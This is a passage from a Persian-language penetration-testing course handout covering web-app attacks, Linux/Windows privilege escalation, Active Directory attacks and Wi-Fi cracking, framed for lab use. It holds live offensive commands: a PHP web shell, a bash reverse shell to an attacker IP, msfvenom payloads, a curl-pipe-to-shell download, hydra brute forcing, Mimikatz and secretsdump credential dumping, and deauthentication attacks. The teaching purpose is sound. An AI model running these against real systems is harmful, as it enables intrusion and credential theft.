LFI / Path Traversal	پارامترهایی که مسیر فایل یا صفحه می‌گیرند را تست کنید	etc/passwd/../../../.. یا php://filter/convert.base64-encode/resource=index
SSRF	هر ویژگی‌ای که یک URL از کاربر می‌گیرد (پیش‌نمایش، وبهوک، ایمپورت)	http://127.0.0.1/admin یا آدرس متادیتای کلود
XXE	آپلود فایل‌های XML مثل SVG یا اسناد Office	تعریف یک Entity که فایل داخلی سرور را بخواند
CSRF	اجرای یک اکشن حساس بدون توکن ضدجعل	ساخت فرم HTML مخفی که خودکار ارسال می‌شود
Open Redirect	پارامترهایی مثل redirect= یا next= یا return_url=	redirect?url=https://evil.com
JWT / Session Issues	دستکاری امضا یا الگوریتم توکن	تغییر الگوریتم به none، یا حمله‌ی key-confusion
SSTI	ورودی کاربر که داخل یک قالب (Template) رندر می‌شود	{{7*7}} اگر خروجی 49 بود، آسیب‌پذیر است
CORS Misconfiguration	فرستادن هدر Origin دلخواه و بررسی پاسخ	اگر Access-Control-Allow-Origin آن را بازتاب داد و Allow-Credentials هم true بود، خطرناک است

مثال تکمیلی: File Upload تا اجرای کد

اگر یک فرم آپلود تصویر پروفایل، نوع فایل را به‌درستی بررسی نکند، می‌توان به‌جای عکس، یک فایل کد سرور آپلود کرد:

```
<?php system($_GET["cmd"]); ?>
# برای دور زدن فیلتر shell.jpg.php یا shell.php ذخیره با نام
(ساده‌ی پسوند)
# بعد از آپلود موفق: http://target/uploads/shell.php?cmd=whoami
```

این کد یک وب‌شل ساده است که به مهاجم اجازه می‌دهد از طریق مرورگر، دستورات سیستم را روی سرور اجرا کند. فقط روی محیط آزمایشگاهی خودتان (مثل DVWA) این را امتحان کنید.

مثال تکمیلی: SSTI

وقتی ورودی کاربر مستقیماً داخل یک موتور قالب (مثل Jinja2 در پایتون) رندر شود، می‌توان کد دلخواه اجرا کرد:

```
{{7*7}}        # اگر خروجی صفحه عدد 49 بود، یعنی قالب واقعاً این عبارت را اجرا کرده (آسیب‌پذیر)
```

ابزار tplmap می‌تواند این فرایند تشخیص و بهره‌برداری را خودکار کند.

۲.۸ حملات Brute-Force احراز هویت

```
hydra [گزینه‌ها] هدف سرویس

hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.0.0.10 ssh -t 4
hydra -l admin -P pass.txt 10.0.0.10 http-post-form
"/login:user=^USER^&pass=^PASS^:F=incorrect"
hydra -L users.txt -P pass.txt 10.0.0.10 ftp
```

دستور	توضیح خط‌به‌خط
hydra -l admin -P rockyou.txt 10.0.0.10 ssh -t 4	-l admin یعنی فقط همین یک نام کاربری ثابت امتحان شود؛ -P rockyou.txt فایل دیکشنری رمزهاست؛ 10.0.0.10 آدرس هدف؛ ssh یعنی روی کدام سرویس حمله شود؛ -t 4 یعنی ۴ تلاش هم‌زمان (عدد کمتر یعنی آرام‌تر و کمتر قابل‌تشخیص)
hydra -l admin -P pass.txt 10.0.0.10 http-post-form "..."	برای فرم‌های وب، به‌جای نام سرویس ساده (مثل ssh)، باید قالب دقیق فرم داده شود: مسیر صفحه (/login)، نام فیلدهای یوزرنیم و پسورد (با ^USER^ و ^PASS^ به‌عنوان جای‌نگه‌دار)، و در پایان با F= متنی که فقط هنگام ورود ناموفق در پاسخ ظاهر می‌شود
hydra -L users.txt -P pass.txt 10.0.0.10 ftp	حرف بزرگ L (به‌جای کوچک) یعنی به‌جای یک نام کاربری ثابت، یک فایل کامل از نام‌های کاربری مختلف را هم امتحان کن — یعنی ترکیب هر نام کاربری با هر رمز عبور (Cluster Bomb)

در Burp Intruder هم می‌توان همین کار را انجام داد: حالت Sniper برای یک لیست، یا Cluster Bomb برای ترکیب هم‌زمان یوزرنیم و پسورد. همیشه با throttle (تأخیر بین درخواست‌ها) معقول کار کنید تا هم به سرور آزمایشی فشار نیاورید، هم رفتار واقعی یک تست آرام را تمرین کنید.

۲.۹ اسکنرهای CMS و آسیب‌پذیری خودکار

ابزار	کاربرد
wpscan	اسکن تخصصی وردپرس: شناسایی تم/پلاگین آسیب‌پذیر و بروت‌فورس کاربران
nuclei	اسکنر سریع و مدرن مبتنی بر الگو برای یافتن آسیب‌پذیری‌های شناخته‌شده
nikto	اسکنر قدیمی‌تر وب‌سرور؛ همچنان برای چک‌های سریع مفید است

```
wpscan --url http://target -e ap,at,cb --usernames admin --passwords
rockyou.txt
nuclei -u http://target -severity critical,high
```

قاعده‌ی طلایی: خروجی یک اسکنر خودکار فقط «سرنخ» است، نه «یافته»ی نهایی. هر چیزی که اسکنر پیدا می‌کند، باید دستی تأیید و اثبات شود قبل از اینکه در گزارش نهایی بیاید.

تمرین نهایی سطح ۲ — گزارش کامل VAPT

روی OWASP Juice Shop یا سایت دموی کارگاه (با اجازه‌ی مربی): چک‌لیست ۲۰ مرحله‌ای بخش ۲.۴ را کامل اجرا کنید. هدف، یافتن حداقل ۸ آسیب‌پذیری واقعی است، هرکدام با:

- عنوان یافته
- شدت (Low / Medium / High / Critical)
- توضیح فنی کامل
- مراحل بازتولید (Proof of Concept) همراه با درخواست و پاسخ واقعی از Burp
- ریسک واقعی این آسیب‌پذیری برای کسب‌وکار
- راهکار پیشنهادی رفع

> این گزارش اولین آیتم واقعی پورتفولیوی شماست — دقیقاً همان چیزی که در مصاحبه‌های شغلی یا برای شروع در Bug Bounty نشان می‌دهید.

چک‌لیست مهارت سطح ۲

- با چهار ابزار اصلی Burp (Proxy، Repeater، Intruder، Decoder) و افزونه‌های آن مسلط هستم
- SQL Injection دستی در سه سطح + کار روان با sqlmap
- هر سه نوع XSS را همراه با دور زدن فیلتر پایه بلدم
- IDOR را با اثبات دو-حسابه نشان داده‌ام
- File Upload، LFI، SSRF، XXE و SSTI را در محیط آزمایشگاهی بهره‌برداری کرده‌ام
- JWT را دستکاری کرده‌ام (مثل الگوریتم none یا key-confusion)
- hydra را روی یک فرم وب و SSH اجرا کرده‌ام
- یک گزارش کامل VAPT نوشته‌ام

منابع پیشنهادی سطح ۲

- PortSwigger Web Security Academy — بهترین منبع رایگان دنیا برای یادگیری عملی هک وب؛ مسیر Apprentice تا Practitioner
- TryHackMe: مسیرهای Web Fundamentals و OWASP Top 10
- کتاب The Web Application Hacker's Handbook
- کانال‌های آموزشی معتبر امنیت وب روی یوتیوب

قدم جسورانه‌ی بعدی: بعد از تکمیل این سطح، می‌توانید در پلتفرم‌هایی مثل Bugcrowd یا HackerOne ثبت‌نام کنید — فقط روی برنامه‌هایی که دامنه‌ی تست‌شان کاملاً مشخص و رسمی است، و ترجیحاً از برنامه‌های تازه‌تأسیس شروع کنید که رقابت کمتری دارند.

پایان قسمت ۲ (سطح ۲ — هک وب‌اپلیکیشن). قسمت بعدی این مجموعه، سطح ۳ (هک سیستم، شبکه و Active Directory) را با همین عمق پوشش خواهد داد.

مسیر حرفه‌ای هک و امنیت سایبری

قسمت ۳: سطح ۳ — هک سیستم، شبکه و Active Directory

از یک پورت باز تا کنترل کامل شبکه، در محیط آزمایشگاهی

هشدار قانونی و اخلاقی:

تمام تکنیک‌های این جزوه (گرفتن شل، ارتقای دسترسی، حملات رمز عبور، Active Directory) فقط باید روی ماشین‌های مجازی و محیط آزمایشگاهی متعلق به خودتان اجرا شوند. این تکنیک‌ها در دنیای واقعی و بدون مجوز، از جدی‌ترین جرائم رایانه‌ای محسوب می‌شوند.

سطح ۳ — هک سیستم، شبکه و اکتیو دایرکتوری

در این سطح، از یافتن یک پورت باز یا یک آسیب‌پذیری وب فراتر می‌روید: یاد می‌گیرید چطور یک شل (دسترسی خط فرمان) روی سیستم هدف بگیرید، دسترسی خودتان را ارتقا دهید، و در یک شبکه‌ی سازمانی کامل (Active Directory) حرکت کنید. در پایان این سطح، در سطح «جونیور Pentester» قرار می‌گیرید.

۳.۱ گرفتن و تثبیت شل

«شل» یعنی یک محیط خط فرمان تعاملی روی سیستم هدف. دو نوع اصلی وجود دارد:

نوع	توضیح
Reverse Shell	سیستم هدف به سمت شما وصل می‌شود (معمولاً برای عبور از فایروال بهتر عمل می‌کند)
Bind Shell	روی سیستم هدف یک پورت باز می‌ماند و شما به آن وصل می‌شوید

دریافت یک **Reverse Shell** (در لابراتوار)

```
# روی سیستم مهاجم (Kali)، منتظر اتصال می‌مانیم:
nc -lvnp 4444

# روی سیستم هدف لینوکسی (بعد از دسترسی اولیه، مثلاً از طریق یک وب‌شل):
bash -i >& /dev/tcp/10.0.0.1/4444 0>&1
```

بخش دستور	توضیح
nc -lvnp 4444	ابزار Netcat را روی پورت 4444 به حالت گوش‌دادن (listen) در می‌آورد
bash -i	یک شل تعاملی باز می‌کند
dev/tcp/10.0.0.1/4444/ &<	ورودی/خروجی این شل را به یک اتصال TCP به آدرس مهاجم وصل می‌کند
1&<0	ورودی استاندارد را هم به همان اتصال متصل می‌کند تا بتوانیم دستور تایپ کنیم

تثبیت شل (**Shell Stabilization**)

یک Reverse Shell اولیه معمولاً محدود است (بدون تاریخچه‌ی دستورات، بدون Tab-completion). این دستورات آن را به یک ترمینال کامل‌تر تبدیل می‌کنند:

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
# بعد: Ctrl+Z (برای برگشت به ترمینال خودمان)
stty raw -echo; fg
export TERM=xterm
```

انتقال فایل به/از سیستم هدف

روش	دستور نمونه
وب‌سرور ساده‌ی پایتون	روی هدف: wget http://10.0.0.1:8000/tool | روی Kali: python3 -m http.server 8000
certutil (ویندوز)	certutil -urlcache -f http://10.0.0.1:8000/t.exe

t.exe	
Kali: impacket-smbserver share ./tools روی	SMB اشتراک

۳.۲ فریم‌ورک Metasploit

Metasploit یکی از قدرتمندترین فریم‌ورک‌های تست نفوذ است که هزاران اکسپلویت آماده برای آسیب‌پذیری‌های شناخته‌شده دارد و فرایند بهره‌برداری را به‌شدت ساده می‌کند.

```
msfconsole
search type:exploit name:vsftpd        # جست‌وجوی اکسپلویت مرتبط با یک سرویس خاص
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.56.10
set LHOST 192.168.56.5
set LPORT 4444
exploit
```

دستور	توضیح
search	جست‌وجو در دیتابیس ماژول‌های Metasploit
use <module>	انتخاب یک ماژول (اکسپلویت) خاص برای پیکربندی
set RHOSTS	تنظیم آدرس IP هدف
set LHOST / LPORT	آدرس و پورتی که payload بعد از موفقیت به آن وصل می‌شود
exploit	اجرای نهایی حمله

کار با Meterpreter (پس از دسترسی موفق)

```
sysinfo                    # اطلاعات سیستم هدف
getuid                     # کاربر فعلی
hashdump                   # دامپ هش رمزهای عبور (نیاز به دسترسی SYSTEM/root)
migrate -N explorer.exe    # انتقال پردازش به یک پروسه‌ی پایدارتر
upload / download          # انتقال فایل
shell                      # ورود به یک شل سیستمی معمولی
```

ساخت Payload با msfvenom (فقط در لابراتوار)

```
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.1
LPORT=4444 -f exe -o lab.exe
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f
elf -o lab.elf
```

۳.۳ از اسکن تا اکسپلویت — جریان کامل یافتن کد حمله

1. اسکن سرویس و نسخه با nmap (سطح ۱) یا جست‌وجوی اسکریپت‌های vuln
2. جست‌وجوی اکسپلویت موجود برای همان نسخه‌ی دقیق: searchsploit vsftpd 2.3
3. کپی کردن اکسپلویت پیداشده: searchsploit -m 49757
4. خواندن و فهمیدن کد اکسپلویت قبل از اجرا — این مهارت، شما را از «اسکریپت‌کیدی» جدا می‌کند
5. بازتولید و تست در محیط لابراتوار

۳.۴ ارتقای دسترسی در لینوکس (Privilege Escalation)

بعد از گرفتن یک شل اولیه، معمولاً با یک کاربر کم‌دسترسی وارد می‌شوید. هدف بعدی، رسیدن به دسترسی root است.

اسکن خودکار

```
curl -L
https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.s
h | sh
```

این اسکریپت به‌صورت خودکار ده‌ها نقطه‌ی ضعف احتمالی را بررسی و رنگی (بر اساس اهمیت) نمایش می‌دهد.

بررسی دستی — به همین ترتیب انجام دهید

```
sudo -l
# اجرا کنم؟ نتیجه را sudo چه دستوری را بدون رمز می‌توانم با
چک کنید در سایت GTFOBins

find / -perm -4000 -type f 2>/dev/null
# یعنی با دسترسی مالک فایل اجرا SUID فایل‌های دارای بیت ؛
می‌شوند (معمولاً root)

cat /etc/crontab ; ls -la /etc/cron*
# یک اسکریپت root، زمان‌بندی‌شده با دسترسی job اگر یک
قابل‌نوشتن توسط کاربر عادی را اجرا کند

getcap -r / 2>/dev/null
# قابلیت‌های (Linux Capabilities) مثلاً خاص؛ cap_setuid+ep روی
را تغییر دهد UID پایتون یعنی پایتون می‌تواند

uname -a ; dpkg -l | grep -i kernel
# شناخته‌شده‌ی ارتقای CVE نسخه‌ی قدیمی کرنل ممکن است به یک
دسترسی آسیب‌پذیر باشد
```

نقطه‌ی ضعف	ابزار بررسی	منبع بهره‌برداری
دستورات sudo بدون رمز	sudo -l	سایت GTFOBins (برای دیدن نحوه‌ی سوءاستفاده از هر باینری)
فایل‌های SUID	find / -perm -4000	همان GTFOBins
کرون‌جاب قابل‌نوشتن	cat /etc/crontab + بررسی دسترسی اسکریپت	دستی
قابلیت‌های لینوکس	getcap -r /	بخش Capabilities در GTFOBins
کرنل قدیمی	uname -a	جست‌وجوی CVE مربوط به همان نسخه

تمرین عملی ۳.۱

روی Metasploitable 2 و یک باکس PrivEsc لینوکس (مثلاً از TryHackMe): سه مسیر متفاوت به root پیدا کنید (یکی از طریق sudo، یکی از طریق cron، یکی از طریق یک باینری SUID مثل vim) و هرکدام را با دستورات و توضیح مستند کنید.

۳.۵ ارتقای دسترسی در ویندوز

```
whoami /priv
# معمولاً از بررسی امتیازهای خاص؛ مثلاً SeImpersonatePrivilege
طریق ابزارهایی مثل
# PrintSpoofer یا GodPotato به برای رسیدن استفاده قابل سوء
SYSTEM است

whoami /groups
systeminfo

# ابزار اسکن خودکار (مشابه linpeas ولی برای ویندوز):
winPEAS.exe
```

Unquoted Service Path

اگر مسیر اجرای یک سرویس ویندوزی، بدون کوتیشن باشد و شامل فاصله باشد، ویندوز سعی می‌کند هر بخش از مسیر را جداگانه به‌عنوان یک فایل اجرایی امتحان کند — این یک نقطه‌ی ضعف کلاسیک است:

```
sc qc ServiceName
# اگر مسیر چیزی شبیه C:\Program Files\My App\service.exe بدون
کوتیشن باشد،
# می‌توان یک فایل مخرب با نام Program.exe در C:\ قرار داد
```

سایر نقاط ضعف رایج

نقطه‌ی ضعف	دستور بررسی
AlwaysInstallElevated	`reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated`
اعتبارنامه‌ی ذخیره‌شده	`cmdkey /list` سپس `runas /savecred /user:user cmd.exe`
تسک‌های زمان‌بندی‌شده	`schtasks /query /fo LIST /v`

```
powershell -ep bypass -c ". .\PowerUp.ps1; Invoke-AllChecks"
# اسکریپت PowerUp را به‌صورت خودکار بسیاری از این نقاط ضعف
بررسی می‌کند
```

۳.۶ حملات رمز عبور و کرک هش

هش رمز عبور در جاهای مختلف با الگوریتم‌های متفاوتی ذخیره می‌شود:

هش	کجا دیده می‌شود	شماره‌ی حالت **hashcat**
MD5 / SHA-1 / SHA-256	اپلیکیشن‌های قدیمی/جدید	0 / 100 / 1400
NTLM	حساب‌های محلی ویندوز	1000
Kerberos TGS-REP	Kerberoasting در Active Directory	13100
bcrypt	اپلیکیشن‌های وب مدرن	3200 (کند و امن‌تر)

```
hashcat -m [شماره‌ی حالت] [گزینه‌ها] فایل_هش فایل_دیکشنری

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
hashcat -m 1000 ntlm.txt rockyou.txt -O
hashcat -m 13100 kerb.txt rockyou.txt -r
/usr/share/hashcat/rules/best64.rule
```

دستور	توضیح خط‌به‌خط
john --wordlist=rockyou.txt hash.txt	--wordlist= فایل دیکشنری را مشخص می‌کند؛ hash.txt فایل حاوی هش‌هایی است که باید کرک شوند؛ John خودش معمولاً نوع هش را خودکار تشخیص می‌دهد
hashcat -m 1000 ntlm.txt rockyou.txt -O	-m 1000 یعنی نوع هش NTLM است (هر عدد معادل یک الگوریتم خاص در جدول بالا)؛ ntlm.txt فایل هش، rockyou.txt فایل دیکشنری؛ -O یعنی حالت بهینه‌سازی‌شده (Optimized) را فعال کن که روی هش‌های کوتاه‌تر سریع‌تر است
hashcat -m 13100 kerb.txt rockyou.txt -r best64.rule	-m 13100 یعنی نوع هش Kerberos TGS-REP (مخصوص Kerberoasting)؛ -r best64.rule یعنی به هر کلمه‌ی دیکشنری، مجموعه‌ای از قوانین تغییر (مثل بزرگ کردن حرف اول یا اضافه کردن عدد به انتها) هم اعمال کن — این کار دامنه‌ی جست‌وجو را چند برابر می‌کند بدون نیاز به یک دیکشنری بزرگ‌تر

۳.۷ اکتیو دایرکتوری — قلب شبکه‌ی سازمانی

Active Directory (AD) سیستمی است که مایکروسافت برای مدیریت متمرکز کاربران، کامپیوترها و منابع در شبکه‌های سازمانی ارائه می‌دهد. اکثر سازمان‌های متوسط تا بزرگ از AD استفاده می‌کنند، و برای همین هک AD یکی از مهارت‌های پردرآمد و پرتقاضای صنعت امنیت است.

مفاهیم پایه

اصطلاح	معنی
Domain	یک واحد مدیریتی که کاربران و کامپیوترها در آن سازمان‌دهی می‌شوند
Domain Controller (DC)	سروری که اطلاعات کل دامنه را نگه می‌دارد و احراز هویت می‌کند
Kerberos	پروتکل احراز هویت اصلی AD؛ بر پایه‌ی تیکت (TGT و TGS) کار می‌کند
GPO	Group Policy Object؛ قوانینی که روی گروهی از کاربران/کامپیوترها اعمال می‌شود
Domain Admin	بالاترین سطح دسترسی در یک دامنه؛ هدف نهایی اکثر حملات AD

محیط تمرین پیشنهادی: یک ویندوز سرور به‌عنوان Domain Controller + یک کلاینت ویندوز ۱۰ + یک ماشین Kali، همه روی یک شبکه‌ی Internal مشترک در VirtualBox/VMware.

شمارش (Enumeration) شبکه‌ی AD

```
nmap -sS -sV -sC -p53,88,135,139,389,445,3389 10.0.0.10
# 88 :پورت‌های کلیدی=Kerberos، 389=LDAP، 445=SMB

enum4linux -A 10.0.0.10
# کاربران، گروه‌ها، پالیسی رمز عبور، اشتراک‌ها، نسخه‌ی ویندوز

smbclient -L //DC01 -N
# بدون احراز هویت لیست اشتراک‌های SMB
```

BloodHound — نقشه‌ی حمله‌ی خودکار

BloodHound یکی از قدرتمندترین ابزارهای تحلیل AD است. تمام روابط بین کاربران، گروه‌ها و دسترسی‌ها را جمع‌آوری می‌کند و کوتاه‌ترین مسیر از یک کاربر معمولی تا Domain Admin را به‌صورت یک گراف بصری نشان می‌دهد.

```
bloodhound-python -u lowuser -p 'Pass123!' -d lab.local -dc
DC01.lab.local -c All
```

حملات پایه‌ی AD (همه فقط در لابراتوار)

Password Spraying

به‌جای امتحان هزاران رمز روی یک کاربر (که باعث قفل شدن حساب می‌شود)، یک رمز رایج روی هزاران کاربر امتحان می‌شود — این روش از سیاست‌های قفل حساب معمولاً عبور می‌کند:

```
crackmapexec smb 10.0.0.10 -u users.txt -p 'Summer2024!' --continue-on-success
```

ASREPRoasting

اگر یک کاربر تنظیم «پیش‌احراز هویت Kerberos» را غیرفعال داشته باشد، می‌توان بدون هیچ رمزی، یک بخش رمزنگاری‌شده از پاسخ سرور گرفت و آن را آفلاین کرک کرد:

```
impacket-GetNPUsers lab.local/ -usersfile users.txt -no-pass -dc-ip 10.0.0.10
```

بخش	توضیح
/lab.local	نام دامنه؛ خالی گذاشتن بعد از / یعنی بدون مشخص کردن یک کاربر خاص برای احراز هویت (چون این حمله اصلاً نیازی به رمز ندارد)
-usersfile users.txt	فهرستی از نام‌های کاربری احتمالی که یکی‌یکی بررسی می‌شوند
-no-pass	صراحتاً می‌گوید بدون رمز عبور تلاش کن — دقیقاً همان ضعف امنیتی‌ای که این حمله از آن سوءاستفاده می‌کند
-dc-ip 10.0.0.10	آدرس IP کنترل‌کننده‌ی دامنه (Domain Controller)

Kerberoasting

حساب‌های سرویس (Service Account) در AD، یک تیکت Kerberos دارند که با هش رمز خودشان امضا شده. هر کاربر معمولی می‌تواند این تیکت را درخواست بدهد و سپس آفلاین کرک کند:

```
impacket-GetUserSPNs lab.local/lowuser:'Pass123!' -dc-ip 10.0.0.10 -request
```

بخش	توضیح
'lab.local/lowuser:'Pass123!	برخلاف ASREPRoasting، اینجا به یک حساب معمولی معتبر (هرچند با کمترین دسترسی) نیاز داریم؛ قالب آن دامنه/کاربر:رمز است
-dc-ip 10.0.0.10	آدرس Domain Controller
-request	می‌گوید علاوه بر لیست کردن حساب‌های سرویس، واقعاً تیکت هرکدام را هم درخواست و دانلود کن تا بشود آفلاین کرک کرد

Pass-the-Hash

در ویندوز، برای ورود به بسیاری از سرویس‌ها، به‌جای رمز عبور، خودِ هش NTLM هم کافی است — یعنی اگر هش یک کاربر را داشته باشید، نیازی به کرک کردن آن نیست:

```
impacket-psexec lab.local/administrator@10.0.0.10 -hashes :<NTLM_HASH>
```

بخش	توضیح
lab.local/administrator@10.0.0.10	دامنه/کاربر مقصد@آدرس هدف — دقیقاً مثل یک ورود معمولی، ولی بدون رمز عبور
-hashes :<NTLM_HASH>	به‌جای فلگ رمز عبور، هش NTLM را مستقیم می‌دهیم؛ دو نقطه قبل از هش به این دلیل است که این فیلد قالب LM:NTLM دارد و معمولاً فقط بخش NTLM پر می‌شود

استخراج تمام هش‌ها بعد از رسیدن به دسترسی ادمین

```
impacket-secretsdump lab.local/admin:'Pass123!'@10.0.0.10
```

بخش	توضیح
secretsdump	ابزاری که بعد از اتصال موفق به یک سیستم با دسترسی بالا، تمام هش‌های ذخیره‌شده (هش کاربران محلی و در صورت دسترسی، کل دامنه) را استخراج می‌کند
lab.local/admin:'Pass123!'@10.0.0.10	اطلاعات ورود یک حساب با دسترسی کافی (مثل Domain Admin) و آدرس هدف

```
# دستورات Mimikatz، روی خودِ سیستم هدف اجرا می‌شوند:
privilege::debug
sekurlsa::logonpasswords
lsadump::dcsync /domain:lab.local /user:administrator
```

دستور	توضیح
privilege::debug	تلاش می‌کند سطح دسترسی پردازش Mimikatz را تا حد امکان بالا ببرد — پیش‌نیاز بسیاری از دستورات بعدی
sekurlsa::logonpasswords	رمزهای عبور و هش‌هایی که در حافظه (برای کاربران فعلاً واردشده) نگه داشته شده‌اند را استخراج می‌کند
...:lsadump::dcsync /domain:... /user	وانمود می‌کند خودش یک Domain Controller دیگر است و از DC اصلی می‌خواهد اطلاعات یک کاربر خاص (اینجا administrator) را برایش «همگام‌سازی» کند — این تکنیک نیاز به دسترسی سطح بسیار بالا (مثل Domain Admin) دارد

تمرین عملی ۳.۲ — مسیر کامل تا Domain Admin

در لابراتوار AD: با یک کاربر معمولی شروع کنید → شمارش با BloodHound → پیدا کردن یک کاربر Kerberoastable → کرک آفلاین رمز آن → استفاده از PSExec برای ورود → اجرای secretsdump روی Domain Controller. تمام مراحل را با اسکرین‌شات و توضیح مستند کنید.

۳.۸ فعالیت پس از نفوذ و Pivoting

Pivoting یعنی استفاده از یک سیستم در دست گرفته‌شده به‌عنوان پل، برای رسیدن به بخش‌های دیگری از شبکه که مستقیماً قابل‌دسترسی نیستند — مفهومی مشابه چیزی که در سطح ۴ (شبکه‌ی داخلی) هم خواهید دید.

```
meterpreter > portfwd add -l 445 -p 445 -r 10.0.0.20
# فوروارد کردن یک پورت از شبکه‌ی داخلی دوم به سیستم مهاجم

sshuttle -r user@10.0.0.5 10.0.0.0/24
# برای دسترسی به کل SSH مانند از طریق VPN-ساخت یک تونل زیرشبکه

# chisel: سرور روی Kali، ساخت یک پراکسی SOCKS → کلاینت روی هدف
proxychains nmap -sT 10.0.0.0/24
```

> در محیط لابراتوار، تمرین «ماندگاری» (Persistence) هم ارزشمند است (مثل یک کرون‌جاب مخفی) — ولی همیشه بعد از تمرین، آن را در بخش «شواهد» گزارش خود ثبت کنید و سپس پاک کنید. این دقیقاً همان مهارتی است که یک تیم دفاعی (Blue Team) باید بتواند آن را در لاگ‌ها (مثل Event Viewer یا auth.log) پیدا کند.

۳.۹ مسیر تمرین پیشنهادی این سطح

محیط	هدف
TryHackMe — مسیر Jr Penetration Tester	پایه‌های شبکه، وب و AD همراه با راهنمای گام‌به‌گام
HackTheBox — باکس‌های آسان (Blue، Lame، Jerry، Bashed، Postman، Sau)	اولین باکس‌های مستقل؛ بعد از تلاش خودتان، ویدیوهای توضیحی را ببینید
VulnHub — سری Kioptrix و Mr Robot	تمرین بدون راهنمای گام‌به‌گام، برای تقویت استقلال

تمرین نهایی سطح ۳: پنج باکس کامل را حل کنید و برای هرکدام یک گزارش بنویسید که شامل چرخه‌ی حمله، اکسپلویت استفاده‌شده، روش ارتقای دسترسی، و اصلاحات پیشنهادی باشد. بعد از این مرحله، از نظر مهارتی در سطح «جونیور Pentester» قرار دارید.

چک‌لیست مهارت سطح ۳

- گرفتن و تثبیت شل در لینوکس و ویندوز را بدون جست‌وجوی مجدد انجام می‌دهم
- linpeas/winPEAS را اجرا می‌کنم و همچنین دستی SUID/sudo/سرویس‌ها را بررسی می‌کنم
- با GTFOBins و LOLBAS برای تبدیل یک دسترسی محدود به دسترسی کامل آشنا هستم
- john و hashcat را با حالت و rule درست اجرا می‌کنم
- در لابراتوار AD: BloodHound، ASREPRoasting، Kerberoasting، Pass-the-Hash و secretsdump را اجرا کرده‌ام
- Pivoting با chisel/sshuttle/portfwd را تمرین کرده‌ام
- پنج باکس کامل را با گزارش کامل حل کرده‌ام

منابع پیشنهادی سطح ۳

- HTB Academy: ماژول‌های Linux Privilege Escalation، Windows Privilege Escalation، AD Enumeration & Attacks
- کتاب‌های سری RTFM (Windows/Linux/Network)
- وبلاگ و کانال ippsec (تحلیل ویدیویی باکس‌های HackTheBox)

پایان قسمت ۳ (سطح ۳ — سیستم، شبکه و Active Directory). قسمت بعدی این مجموعه، سطح ۴ (وای‌فای، مودم، موبایل و مهندسی اجتماعی) را با همین عمق پوشش خواهد داد.

مسیر حرفه‌ای هک و امنیت سایبری

قسمت ۴: سطح ۴ — وای‌فای، مودم، موبایل و مهندسی اجتماعی

تبدیل‌شدن به یک تست‌نفوذگر عمومی کامل

> هشدار قانونی و اخلاقی:
> تمام تمرین‌های این جزوه (وای‌فای، مودم، موبایل، فیشینگ) فقط باید روی تجهیزات آزمایشی مجاز (لابراتوار شخصی، کارگاه آموزشی دانشگاه) اجرا شوند. حمله به شبکه وای‌فای یا حساب هر شخص دیگری بدون اجازه، جرم است.

سطح ۴ — وای‌فای، مودم، موبایل و مهندسی اجتماعی

این سطح، دقیقاً همان مباحثی است که در این پروژه (جزوه‌ی «راهنمای مانیتور مود» که پیش‌تر ساختیم) عملاً با آن کار کردید. اینجا عمیق‌تر می‌شویم و مودم، موبایل و مهندسی اجتماعی را هم اضافه می‌کنیم.

۴.۱ هک وای‌فای

مفاهیم پایه

مفهوم	توضیح
Monitor Mode	حالتی که کارت وای‌فای همه‌ی ترافیک اطراف را می‌بیند، بدون اتصال به یک شبکه‌ی خاص
SSID / BSSID	نام شبکه (SSID) و آدرس MAC اکسس‌پوینت (BSSID)
WPA/WPA2-PSK	رمزنگاری مبتنی بر رمز مشترک؛ هدف اصلی حمله‌ی گرفتن Handshake
WPS	روش اتصال ساده‌شده؛ نقطه‌ضعف معروف در برابر حمله‌ی Pixie-Dust
WPA3/SAE	نسخه‌ی جدیدتر و مقاوم‌تر در برابر حملات کلاسیک کرک آفلاین

نیازمندی سخت‌افزاری: یک آداپتور USB با پشتیبانی از Monitor Mode و Packet Injection (مثل سری Alfa AWUS036NHA/ACH یا هر کارتی با چیپ‌ست Atheros AR9271 یا Ralink RT3070/RT3572).

حمله‌ی کلاسیک: گرفتن و کرک Handshake

```
airmon-ng check kill
airmon-ng start wlan0
airodump-ng wlan0mon
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF wlan0mon -w labcap
aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF -c CLIENT-MAC wlan0mon
aircrack-ng -w /usr/share/wordlists/rockyou.txt labcap-01.cap
```

دستور	توضیح خط‌به‌خط
airmon-ng check kill	فرایندهایی مثل NetworkManager که ممکن است با مانیتور مود تداخل کنند را متوقف می‌کند
airmon-ng start wlan0	کارت wlan0 را به مانیتور مود می‌برد؛ در خروجی، نام جدید اینترفیس (معمولاً wlan0mon) نمایش داده می‌شود
airodump-ng wlan0mon	بدون هیچ فیلتری، تمام شبکه‌های اطراف را همراه با BSSID، کانال و کلاینت‌های متصل نشان می‌دهد
airodump-ng -c 6 --bssid AA:... -w labcap	-c 6 یعنی فقط روی کانال ۶ گوش بده (کانالی که شبکه‌ی هدف در آن است)؛ --bssid یعنی فقط بسته‌های مربوط به این شبکه‌ی خاص را نگه دار؛ -w labcap یعنی خروجی را در فایل‌هایی با پیشوند labcap ذخیره کن
aireplay-ng -0 5 -a AA:... -c CLIENT-MAC wlan0mon	-0 5 یعنی حمله‌ی Deauthentication با ارسال ۵ بسته؛ -a آدرس خود اکسس‌پوینت است؛ -c آدرس کلاینتی است که می‌خواهیم مجبور به قطع و اتصال مجدد شود (برای گرفتن لحظه‌ی Handshake)
aircrack-ng -w rockyou.txt labcap-01.cap	-w فایل دیکشنری رمزهاست؛ labcap-01.cap فایلی است که در مرحله‌ی قبل توسط airodump-ng ساخته شد و شامل Handshake ضبط‌شده است؛ aircrack-ng هر خط دیکشنری را امتحان می‌کند تا به رمز درست برسد

کرک سریع‌تر با GPU (hashcat)

```
hcxpcapngtool labcap-01.cap -o hash.hc22000
hashcat -m 22000 hash.hc22000 rockyou.txt
```

دستور	توضیح خط‌به‌خط
